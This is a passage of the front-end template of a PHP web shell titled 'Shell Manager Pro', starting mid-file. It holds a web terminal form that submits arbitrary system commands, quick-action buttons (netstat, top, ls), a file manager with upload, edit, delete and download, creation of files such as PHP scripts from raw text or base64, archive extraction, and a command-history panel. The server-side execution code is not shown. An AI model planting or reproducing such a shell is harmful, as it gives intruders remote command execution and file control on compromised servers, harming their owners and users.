                        <button class="btn btn-primary" onclick="showModal('createModal')">
                            <i class="fas fa-plus"></i> New
                        </button>
                        <button class="btn btn-secondary" onclick="showModal('uploadModal')">
                            <i class="fas fa-upload"></i> Upload
                        </button>
                        <button class="btn btn-info" onclick="showModal('base64Modal')">
                            <i class="fas fa-file-code"></i> Base64
                        </button>
                    </div>
                </div>
            </div>
            
            <!-- Stats -->
            <div class="stats-grid mb-20">
                <div class="stat-card">
                    <div class="stat-icon"><i class="fas fa-hdd"></i></div>
                    <div class="stat-value"><?php echo $sysinfo['disk_free']; ?> GB</div>
                    <div class="stat-label">Free Space</div>
                    <div class="progress mt-10">
                        <div class="progress-bar" style="width: <?php echo ($sysinfo['disk_free']/$sysinfo['disk_total'])*100; ?>%"></div>
                    </div>
                </div>
                
                <div class="stat-card">
                    <div class="stat-icon"><i class="fas fa-memory"></i></div>
                    <div class="stat-value"><?php echo $sysinfo['memory_usage']; ?> MB</div>
                    <div class="stat-label">Memory Usage</div>
                </div>
                
                <div class="stat-card">
                    <div class="stat-icon"><i class="fas fa-folder"></i></div>
                    <div class="stat-value"><?php echo count($files) - 2; ?></div>
                    <div class="stat-label">Files & Folders</div>
                </div>
                
                <div class="stat-card">
                    <div class="stat-icon"><i class="fas fa-bolt"></i></div>
                    <div class="stat-value"><?php echo $sysinfo['upload_max']; ?></div>
                    <div class="stat-label">Max Upload</div>
                </div>
            </div>
            
            <!-- Message Alert -->
            <?php if ($message): ?>
                <div class="alert <?php echo strpos($message, '✓') !== false ? 'alert-success' : 'alert-error'; ?>">
                    <i class="fas fa-<?php echo strpos($message, '✓') !== false ? 'check-circle' : 'exclamation-circle'; ?>"></i>
                    <?php echo htmlspecialchars($message); ?>
                </div>
            <?php endif; ?>
            
            <!-- Tabs Content -->
            <div id="dashboardTab" class="tab-content">
                <!-- Quick Actions -->
                <div class="card mb-20">
                    <div class="card-header">
                        <div class="card-title">Quick Actions</div>
                    </div>
                    <div class="d-flex gap-10 flex-wrap">
                        <button class="btn btn-secondary" onclick="executeQuick('pwd')">
                            <i class="fas fa-map-marker-alt"></i> Current Dir
                        </button>
                        <button class="btn btn-secondary" onclick="executeQuick('ls -la')">
                            <i class="fas fa-list"></i> List Files
                        </button>
                        <button class="btn btn-secondary" onclick="executeQuick('df -h')">
                            <i class="fas fa-hdd"></i> Disk Usage
                        </button>
                        <button class="btn btn-secondary" onclick="executeQuick('free -m')">
                            <i class="fas fa-memory"></i> Memory Info
                        </button>
                        <button class="btn btn-secondary" onclick="executeQuick('top -n 1 -b')">
                            <i class="fas fa-tasks"></i> Top Processes
                        </button>
                        <button class="btn btn-secondary" onclick="executeQuick('netstat -tulpn')">
                            <i class="fas fa-network-wired"></i> Network
                        </button>
                        <button class="btn btn-info" onclick="showModal('zipModal')">
                            <i class="fas fa-file-archive"></i> Zip Tools
                        </button>
                    </div>
                </div>
                
                <!-- File Manager Preview -->
                <div class="card">
                    <div class="card-header">
                        <div class="card-title">Recent Files</div>
                        <button class="btn btn-sm btn-secondary" onclick="showTab('files')">
                            View All <i class="fas fa-arrow-right"></i>
                        </button>
                    </div>
                    <div class="files-grid">
                        <?php 
                        $recent = array_slice($files, 0, 8);
                        foreach ($recent as $file): 
                            if ($file == '.' || $file == '..') continue;
                            $path = $currentDir . '/' . $file;
                            $isDir = is_dir($path);
                            $size = $isDir ? '-' : format_size(@filesize($path));
                            $icon = $isDir ? 'fa-folder text-warning' : get_file_icon($file);
                        ?>
                        <div class="file-item">
                            <div class="file-icon">
                                <i class="fas <?php echo $icon; ?>"></i>
                            </div>
                            <div class="file-name" title="<?php echo htmlspecialchars($file); ?>">
                                <?php echo htmlspecialchars($file); ?>
                            </div>
                            <div class="file-info">
                                <?php echo $size; ?> • <?php echo date('m/d H:i', @filemtime($path)); ?>
                            </div>
                            <div class="file-actions">
                                <?php if ($isDir): ?>
                                    <a href="?dir=<?php echo urlencode($path); ?>" class="btn btn-sm btn-secondary">
                                        <i class="fas fa-folder-open"></i>
                                    </a>
                                <?php else: ?>
                                    <a href="?action=view&file=<?php echo urlencode($file); ?>&dir=<?php echo urlencode($currentDir); ?>" 
                                       target="_blank" class="btn btn-sm btn-secondary">
                                        <i class="fas fa-eye"></i>
                                    </a>
                                <?php endif; ?>
                                <a href="?action=download&file=<?php echo urlencode($file); ?>&dir=<?php echo urlencode($currentDir); ?>" 
                                   class="btn btn-sm btn-secondary">
                                    <i class="fas fa-download"></i>
                                </a>
                            </div>
                        </div>
                        <?php endforeach; ?>
                    </div>
                </div>
            </div>
            
            <!-- Terminal Tab -->
            <div id="terminalTab" class="tab-content" style="display: none;">
                <div class="card">
                    <div class="card-header">
                        <div class="card-title">System Terminal</div>
                        <div class="d-flex gap-10">
                            <button class="btn btn-sm btn-secondary" onclick="clearTerminal()">
                                <i class="fas fa-broom"></i> Clear
                            </button>
                            <button class="btn btn-sm btn-secondary" onclick="showModal('historyModal')">
                                <i class="fas fa-history"></i> History
                            </button>
                        </div>
                    </div>
                    <div class="terminal-container">
                        <div class="terminal-body" id="terminalOutput">
                            <div class="output"><?php echo htmlspecialchars($terminal_output ?: 'Welcome to Shell Manager Pro'); ?></div>
                            <div class="prompt">$</div>
                        </div>
                        <form method="POST" id="terminalForm" class="d-flex gap-10 p-20">
                            <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
                            <input type="text" name="command" class="form-control" 
                                   placeholder="Enter command..." autocomplete="off" id="commandInput">
                            <button type="submit" class="btn btn-primary">
                                <i class="fas fa-play"></i> Execute
                            </button>
                        </form>
                    </div>
                </div>
            </div>
            
            <!-- File Manager Tab -->
            <div id="filesTab" class="tab-content" style="display: none;">
                <div class="card">
                    <div class="card-header">
                        <div class="card-title">File Manager</div>
                        <div class="d-flex gap-10">
                            <button class="btn btn-sm btn-secondary" onclick="selectAll()">
                                <i class="fas fa-check-square"></i> Select All
                            </button>
                            <button class="btn btn-sm btn-danger" onclick="bulkDelete()">
                                <i class="fas fa-trash"></i> Delete Selected
                            </button>
                            <button class="btn btn-sm btn-info" onclick="showModal('zipModal')">
                                <i class="fas fa-file-archive"></i> Zip/Unzip
                            </button>
                        </div>
                    </div>
                    <div style="overflow-x: auto;">
                        <table class="table">
                            <thead>
                                <tr>
                                    <th width="30"><input type="checkbox" id="selectAll"></th>
                                    <th>Name</th>
                                    <th>Size</th>
                                    <th>Modified</th>
                                    <th>Permissions</th>
                                    <th>Actions</th>
                                </tr>
                            </thead>
                            <tbody>
                                <?php foreach ($files as $file): ?>
                                <?php if ($file == '.' || $file == '..') continue; ?>
                                <?php
                                $path = $currentDir . '/' . $file;
                                $isDir = is_dir($path);
                                $size = $isDir ? '-' : format_size(@filesize($path));
                                $perms = substr(sprintf('%o', @fileperms($path)), -4);
                                $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
                                $isArchive = in_array($ext, ['zip', 'rar', '7z', 'tar', 'gz']);
                                ?>
                                <tr>
                                    <td><input type="checkbox" name="items[]" value="<?php echo $file; ?>" class="item-checkbox"></td>
                                    <td>
                                        <div class="d-flex align-center gap-10">
                                            <i class="fas <?php echo $isDir ? 'fa-folder text-warning' : get_file_icon($file); ?>"></i>
                                            <?php if ($isDir): ?>
                                                <a href="?dir=<?php echo urlencode($path); ?>" class="text-primary">
                                                    <?php echo htmlspecialchars($file); ?>
                                                </a>
                                            <?php else: ?>
                                                <?php echo htmlspecialchars($file); ?>
                                            <?php endif; ?>
                                            <?php if ($isArchive): ?>
                                                <span class="badge badge-info">Archive</span>
                                            <?php endif; ?>
                                        </div>
                                    </td>
                                    <td><?php echo $size; ?></td>
                                    <td><?php echo date('Y-m-d H:i', @filemtime($path)); ?></td>
                                    <td>
                                        <span class="badge badge-info"><?php echo $perms; ?></span>
                                        <?php if (is_writable($path)): ?>
                                            <span class="badge badge-success">W</span>
                                        <?php endif; ?>
                                    </td>
                                    <td>
                                        <div class="d-flex gap-5">
                                            <?php if (!$isDir): ?>
                                                <a href="?action=view&file=<?php echo urlencode($file); ?>&dir=<?php echo urlencode($currentDir); ?>" 
                                                   target="_blank" class="btn btn-sm btn-secondary">
                                                    <i class="fas fa-eye"></i>
                                                </a>
                                                <a href="?action=download&file=<?php echo urlencode($file); ?>&dir=<?php echo urlencode($currentDir); ?>" 
                                                   class="btn btn-sm btn-secondary">
                                                    <i class="fas fa-download"></i>
                                                </a>
                                                <?php if ($isArchive): ?>
                                                    <a href="?action=extract&file=<?php echo urlencode($file); ?>&dir=<?php echo urlencode($currentDir); ?>" 
                                                       class="btn btn-sm btn-info" onclick="return confirm('Extract archive?')">
                                                        <i class="fas fa-expand"></i>
                                                    </a>
                                                <?php else: ?>
                                                    <button type="button" class="btn btn-sm btn-secondary" 
                                                            onclick="editFile('<?php echo addslashes($file); ?>')">
                                                        <i class="fas fa-edit"></i>
                                                    </button>
                                                <?php endif; ?>
                                            <?php endif; ?>
                                            <a href="?action=delete&file=<?php echo urlencode($file); ?>&dir=<?php echo urlencode($currentDir); ?>" 
                                               class="btn btn-sm btn-danger" onclick="return confirm('Delete?')">
                                                <i class="fas fa-trash"></i>
                                            </a>
                                        </div>
                                    </td>
                                </tr>
                                <?php endforeach; ?>
                            </tbody>
                        </table>
                    </div>
                </div>
            </div>
        </div>
    </div>
    
    <!-- Modals -->
    <div id="uploadModal" class="modal">
        <div class="modal-content">
            <div class="modal-header">
                <h3><i class="fas fa-upload"></i> Upload Files</h3>
                <button class="btn btn-icon" onclick="hideModal()">
                    <i class="fas fa-times"></i>
                </button>
            </div>
            <div class="modal-body">
                <form method="POST" enctype="multipart/form-data" id="uploadForm">
                    <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
                    <div class="form-group">
                        <label class="form-label">Select Files (Multiple allowed)</label>
                        <input type="file" name="upload_file[]" multiple class="form-control" required>
                    </div>
                    <div class="form-group">
                        <label class="form-label">Target Directory</label>
                        <input type="text" value="<?php echo htmlspecialchars($currentDir); ?>" class="form-control" readonly>
                    </div>
                    <div class="d-flex gap-10">
                        <button type="submit" class="btn btn-primary">
                            <i class="fas fa-upload"></i> Upload
                        </button>
                        <button type="button" class="btn btn-secondary" onclick="hideModal()">
                            Cancel
                        </button>
                    </div>
                </form>
            </div>
        </div>
    </div>
    
    <div id="createModal" class="modal">
        <div class="modal-content">
            <div class="modal-header">
                <h3><i class="fas fa-plus"></i> Create New</h3>
                <button class="btn btn-icon" onclick="hideModal()">
                    <i class="fas fa-times"></i>
                </button>
            </div>
            <div class="modal-body">
                <form method="POST" id="createForm">
                    <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
                    <input type="hidden" name="create_item" value="1">
                    
                    <div class="form-group">
                        <label class="form-label">Type</label>
                        <select name="type" class="form-control" onchange="toggleCreateType()">
                            <option value="file">File</option>
                            <option value="folder">Folder</option>
                        </select>
                    </div>
                    
                    <div class="form-group">
                        <label class="form-label">Name</label>
                        <input type="text" name="name" class="form-control" placeholder="filename.php" required>
                    </div>
                    
                    <div id="fileContentGroup" class="form-group">
                        <label class="form-label">Content</label>
                        <textarea name="content" class="form-control" rows="10" placeholder="File content..."></textarea>
                    </div>
                    
                    <div class="d-flex gap-10">
                        <button type="submit" class="btn btn-primary">Create</button>
                        <button type="button" class="btn btn-secondary" onclick="hideModal()">Cancel</button>
                    </div>
                </form>
            </div>
        </div>
    </div>
    
    <!-- Base64 Modal -->
    <div id="base64Modal" class="modal">
        <div class="modal-content">
            <div class="modal-header">
                <h3><i class="fas fa-file-code"></i> Create from Base64</h3>
                <button class="btn btn-icon" onclick="hideModal()">
                    <i class="fas fa-times"></i>
                </button>
            </div>
            <div class="modal-body">
                <form method="POST" id="base64Form">
                    <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
                    <input type="hidden" name="create_base64" value="1">
                    
                    <div class="form-group">
                        <label class="form-label">Filename</label>
                        <input type="text" name="base64_filename" class="form-control" 
                               placeholder="example.jpg" required>
                    </div>
                    
                    <div class="form-group">
                        <label class="form-label">Base64 Data</label>
                        <textarea name="base64_data" class="form-control" rows="10" 
                                  placeholder="data:image/jpeg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAA..." 
                                  required></textarea>
                    </div>
                    
                    <div class="alert alert-info">
                        <i class="fas fa-info-circle"></i>
                        Supports data URIs (data:image/jpeg;base64,...) or raw base64
                    </div>
                    
                    <div class="d-flex gap-10">
                        <button type="submit" class="btn btn-primary">Create File</button>
                        <button type="button" class="btn btn-secondary" onclick="hideModal()">Cancel</button>
                    </div>
                </form>
            </div>
        </div>
    </div>
    
    <!-- Zip/Unzip Modal -->
    <div id="zipModal" class="modal">
        <div class="modal-content">
            <div class="modal-header">
                <h3><i class="fas fa-file-archive"></i> Zip & Unzip Tools</h3>
                <button class="btn btn-icon" onclick="hideModal()">
                    <i class="fas fa-times"></i>
                </button>
            </div>
            <div class="modal-body">
                <!-- Tabs inside modal -->
                <div class="tabs mb-20">
                    <div class="tab active" onclick="showZipTab('zip')">Create Archive</div>
                    <div class="tab" onclick="showZipTab('unzip')">Extract Archive</div>
                </div>
                
                <!-- Zip Tab -->
                <div id="zipTab" class="zip-tab-content">
                    <form method="POST" id="zipForm">
                        <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
                        <input type="hidden" name="zip_action" value="1">
                        
                        <div class="form-group">
                            <label class="form-label">Select Items to Compress</label>
                            <div style="max-height: 200px; overflow-y: auto; border: 1px solid var(--border); padding: 10px; border-radius: 6px;">
                                <?php foreach ($files as $file): ?>
                                <?php if ($file == '.' || $file == '..') continue; ?>
                                <div style="margin-bottom: 5px;">
                                    <input type="checkbox" name="items[]" value="<?php echo $file; ?>" id="item_<?php echo md5($file); ?>">
                                    <label for="item_<?php echo md5($file); ?>">
                                        <i class="fas <?php echo is_dir($currentDir . '/' . $file) ? 'fa-folder text-warning' : get_file_icon($file); ?>"></i>
                                        <?php echo htmlspecialchars($file); ?>
                                    </label>
                                </div>
                                <?php endforeach; ?>
                            </div>
                        </div>
                        
                        <div class="form-group">
                            <label class="form-label">Archive Name</label>
                            <input type="text" name="zip_name" class="form-control" 
                                   placeholder="archive.zip" value="archive_<?php echo date('Ymd_His'); ?>.zip">
                        </div>
                        
                        <div class="alert alert-info">
                            <i class="fas fa-info-circle"></i>
                            Creates a ZIP archive from selected files/folders
                        </div>
                        
                        <div class="d-flex gap-10">
                            <button type="submit" class="btn btn-primary">
                                <i class="fas fa-compress"></i> Create Archive
                            </button>
                            <button type="button" class="btn btn-secondary" onclick="hideModal()">Cancel</button>
                        </div>
                    </form>
                </div>
                
                <!-- Unzip Tab -->
                <div id="unzipTab" class="zip-tab-content" style="display: none;">
                    <form method="POST" id="unzipForm">
                        <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
                        <input type="hidden" name="unzip_action" value="1">
                        
                        <div class="form-group">
                            <label class="form-label">Select Archive to Extract</label>
                            <select name="unzip_file" class="form-control" required>
                                <option value="">-- Select Archive --</option>
                                <?php foreach ($files as $file): ?>
                                <?php if ($file == '.' || $file == '..') continue; ?>
                                <?php 
                                $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
                                if (in_array($ext, ['zip', 'rar', '7z', 'tar', 'gz'])): 
                                ?>
                                <option value="<?php echo $file; ?>">
                                    <?php echo htmlspecialchars($file); ?>
                                </option>
                                <?php endif; ?>
                                <?php endforeach; ?>
                            </select>
                        </div>
                        
                        <div class="form-group">
                            <label class="form-label">Extract to Folder (optional)</label>
                            <input type="text" name="extract_to" class="form-control" 
                                   placeholder="Leave empty to use archive name">
                        </div>
                        
                        <div class="alert alert-info">
                            <i class="fas fa-info-circle"></i>
                            Supports: ZIP, RAR, 7Z, TAR, GZ formats
                        </div>
                        
                        <div class="d-flex gap-10">
                            <button type="submit" class="btn btn-primary">
                                <i class="fas fa-expand"></i> Extract Archive
                            </button>
                            <button type="button" class="btn btn-secondary" onclick="hideModal()">Cancel</button>
                        </div>
                    </form>
                </div>
            </div>
        </div>
    </div>
    
    <div id="historyModal" class="modal">
        <div class="modal-content">
            <div class="modal-header">
                <h3><i class="fas fa-history"></i> Command History</h3>
                <button class="btn btn-icon" onclick="hideModal()">
                    <i class="fas fa-times"></i>
                </button>
            </div>
            <div class="modal-body">
                <?php if (empty($history)): ?>
                    <p class="text-center">No command history</p>
                <?php else: ?>
                    <div style="max-height: 300px; overflow-y: auto;">
                        <?php foreach ($history as $i => $cmd): ?>
                            <div class="d-flex justify-between align-center mb-10">
                                <code style="flex: 1; margin-right: 10px;"><?php echo htmlspecialchars($cmd); ?></code>
                                <button class="btn btn-sm btn-secondary" onclick="useCommand('<?php echo addslashes($cmd); ?>')">
                                    Use
                                </button>
                            </div>
                        <?php endforeach; ?>
                    </div>
                    <div class="mt-20">
                        <a href="?action=clear_history&dir=<?php echo urlencode($currentDir); ?>" class="btn btn-danger">
                            <i class="fas fa-trash"></i> Clear History
                        </a>
                    </div>
                <?php endif; ?>
            </div>
        </div>
    </div>
    
    <!-- Editor Modal (for file editing) -->
    <div id="editorModal" class="modal">
        <div class="modal-content">
            <div class="modal-header">
                <h3><i class="fas fa-edit"></i> File Editor</h3>
                <button class="btn btn-icon" onclick="hideModal()">
                    <i class="fas fa-times"></i>
                </button>
            </div>
            <div class="modal-body">
                <form method="POST" id="editorForm">
                    <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
                    <input type="hidden" name="edit_file" value="1">
                    <input type="hidden" name="file" id="editFileName">
                    
                    <div class="form-group">
                        <label class="form-label">File Content</label>
                        <textarea name="content" class="form-control" rows="20" id="editFileContent"></textarea>
                    </div>
                    
                    <div class="d-flex gap-10">
                        <button type="submit" class="btn btn-primary">Save</button>
                        <button type="button" class="btn btn-secondary" onclick="hideModal()">Cancel</button>
                    </div>
                </form>
            </div>
        </div>
    </div>
    
    <!-- Bulk Action Form -->
    <form method="POST" id="bulkForm" style="display: none;">
        <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
        <input type="hidden" name="bulk_action" id="bulkAction">
        <div id="bulkItems"></div>
    </form>
    
    <script>
    // Tab Management
    function showTab(tabName) {
        // Hide all tabs
        document.querySelectorAll('.tab-content').forEach(tab => {
            tab.style.display = 'none';
        });
        
        // Remove active class from all nav buttons
        document.querySelectorAll('.nav-btn').forEach(btn => {
            btn.classList.remove('active');
        });
        
        // Show selected tab
        document.getElementById(tabName + 'Tab').style.display = 'block';
        
        // Activate the clicked button
        event.target.classList.add('active');
    }
    
    // Zip Modal Tabs
    function showZipTab(tabName) {
        // Hide all zip tabs
        document.querySelectorAll('.zip-tab-content').forEach(tab => {
            tab.style.display = 'none';
        });
        
        // Remove active class from all zip tabs
        document.querySelectorAll('.modal .tab').forEach(tab => {
            tab.classList.remove('active');
        });
        
        // Show selected tab
        document.getElementById(tabName + 'Tab').style.display = 'block';
        
        // Activate the clicked tab
        event.target.classList.add('active');
    }
    
    // Modal Management
    function showModal(modalId) {
        document.getElementById(modalId).style.display = 'flex';
        // Reset zip modal to first tab
        if (modalId === 'zipModal') {
            showZipTab('zip');
        }
    }
    
    function hideModal() {
        document.querySelectorAll('.modal').forEach(modal => {
            modal.style.display = 'none';
        });
    }
    
    // Close modal on background click
    document.addEventListener('click', function(e) {
        if (e.target.classList.contains('modal')) {
            hideModal();
        }
    });
    
    // Escape key to close modal
    document.addEventListener('keydown', function(e) {
        if (e.key === 'Escape') hideModal();
    });
    
    // Terminal Functions
    function clearTerminal() {
        document.getElementById('terminalOutput').innerHTML = '<div class="prompt">$</div>';
    }
    
    function executeQuick(command) {
        document.getElementById('commandInput').value = command;
        document.getElementById('terminalForm').submit();
    }
    
    // File Functions
    function selectAll() {
        const checkboxes = document.querySelectorAll('.item-checkbox');
        const selectAll = document.getElementById('selectAll');
        const checked = selectAll.checked;
        checkboxes.forEach(cb => cb.checked = checked);
    }
    
    function bulkDelete() {
        const checkboxes = document.querySelectorAll('.item-checkbox:checked');
        if (checkboxes.length === 0) {
            alert('Please select items first');
            return;
        }
        
        if (confirm('Delete ' + checkboxes.length + ' selected items?')) {
            const form = document.getElementById('bulkForm');
            const itemsDiv = document.getElementById('bulkItems');
            itemsDiv.innerHTML = '';
            
            checkboxes.forEach(cb => {
                const input = document.createElement('input');
                input.type = 'hidden';
                input.name = 'items[]';
                input.value = cb.value;
                itemsDiv.appendChild(input);
            });
            
            document.getElementById('bulkAction').value = 'delete';
            form.submit();
        }
    }
    
    function editFile(filename) {
        // Fetch file content via AJAX
        fetch('?action=get_file_content&file=' + encodeURIComponent(filename) + '&dir=<?php echo urlencode($currentDir); ?>')
            .then(response => response.json())
            .then(data => {
                if (data.success) {
                    document.getElementById('editFileName').value = filename;
                    document.getElementById('editFileContent').value = data.content;
                    showModal('editorModal');
                } else {
                    alert('Failed to load file');
                }
            })
            .catch(error => {
                console.error('Error:', error);
                alert('Error loading file');
            });
    }
    
    // Theme Toggle
    function toggleTheme() {
        const current = document.documentElement.getAttribute('data-theme');
        const newTheme = current === 'dark' ? 'light' : 'dark';
        document.documentElement.setAttribute('data-theme', newTheme);
        window.location.href = '?theme=' + newTheme + '&dir=<?php echo urlencode($currentDir); ?>';
    }
    
    // Command History
    function useCommand(command) {
        document.getElementById('commandInput').value = command;
        hideModal();
        document.getElementById('commandInput').focus();
    }
    
    // Toggle create form content field
    function toggleCreateType() {
        const type = document.querySelector('select[name="type"]').value;
        const contentGroup = document.getElementById('fileContentGroup');
        if (type === 'folder') {
            contentGroup.style.display = 'none';
        } else {
            contentGroup.style.display = 'block';
        }
    }
    
    // Base64 Preview
    function previewBase64() {
        const base64Input = document.querySelector('textarea[name="base64_data"]');
        const preview = document.getElementById('base64Preview');
        
        if (base64Input.value) {
            try {
                // Try to parse as data URI
                if (base64Input.value.startsWith('data:')) {
                    preview.innerHTML = '<img src="' + base64Input.value + '" style="max-width: 100%; max-height: 200px;">';
                } else {
                    // Assume it's raw base64
                    preview.innerHTML = '<div class="alert alert-info">Base64 data loaded (' + base64Input.value.length + ' chars)</div>';
                }
            } catch (e) {
                preview.innerHTML = '<div class="alert alert-error">Invalid base64 data</div>';
            }
        }
    }
    
    // Drag and Drop Upload
    const uploadForm = document.getElementById('uploadForm');
    if (uploadForm) {
        uploadForm.addEventListener('dragover', (e) => {
            e.preventDefault();
            uploadForm.style.border = '2px dashed var(--accent)';
        });
        
        uploadForm.addEventListener('dragleave', () => {
            uploadForm.style.border = '1px solid var(--border)';
        });
        
        uploadForm.addEventListener('drop', (e) => {
            e.preventDefault();
            const files = e.dataTransfer.files;
            // Handle file drop
        });
    }
    
    // Keyboard Shortcuts
    document.addEventListener('keydown', function(e) {
        // Ctrl+K for terminal
        if (e.ctrlKey && e.key === 'k') {
            e.preventDefault();
            document.getElementById('commandInput')?.focus();
        }
        // Ctrl+L for clear
        if (e.ctrlKey && e.key === 'l') {
            e.preventDefault();
            clearTerminal();
        }
        // Ctrl+U for upload
        if (e.ctrlKey && e.key === 'u') {
            e.preventDefault();
            showModal('uploadModal');
        }
        // Ctrl+N for new
        if (e.ctrlKey && e.key === 'n') {
            e.preventDefault();
            showModal('createModal');
        }
        // Ctrl+B for base64
        if (e.ctrlKey && e.key === 'b') {
            e.preventDefault();
            showModal('base64Modal');
        }
        // Ctrl+Z for zip tools
        if (e.ctrlKey && e.key === 'z') {
            e.preventDefault();
            showModal('zipModal');
        }
    });
    
    // Auto-scroll terminal
    const terminalOutput = document.getElementById('terminalOutput');
    if (terminalOutput) {
        terminalOutput.scrollTop = terminalOutput.scrollHeight;
    }
    
    // Initialize
    document.addEventListener('DOMContentLoaded', function() {
        // Set active tab based on current view
        if (window.location.hash) {
            const tabName = window.location.hash.substring(1);
            showTab(tabName);
        }
        
        // Focus command input if on terminal tab
        if (document.getElementById('terminalTab').style.display !== 'none') {
            document.getElementById('commandInput')?.focus();
        }
        
        // Initialize select all checkbox
        const selectAllCheckbox = document.getElementById('selectAll');
        if (selectAllCheckbox) {
            selectAllCheckbox.addEventListener('change', selectAll);
        }
    });
    </script>
</body>
</html>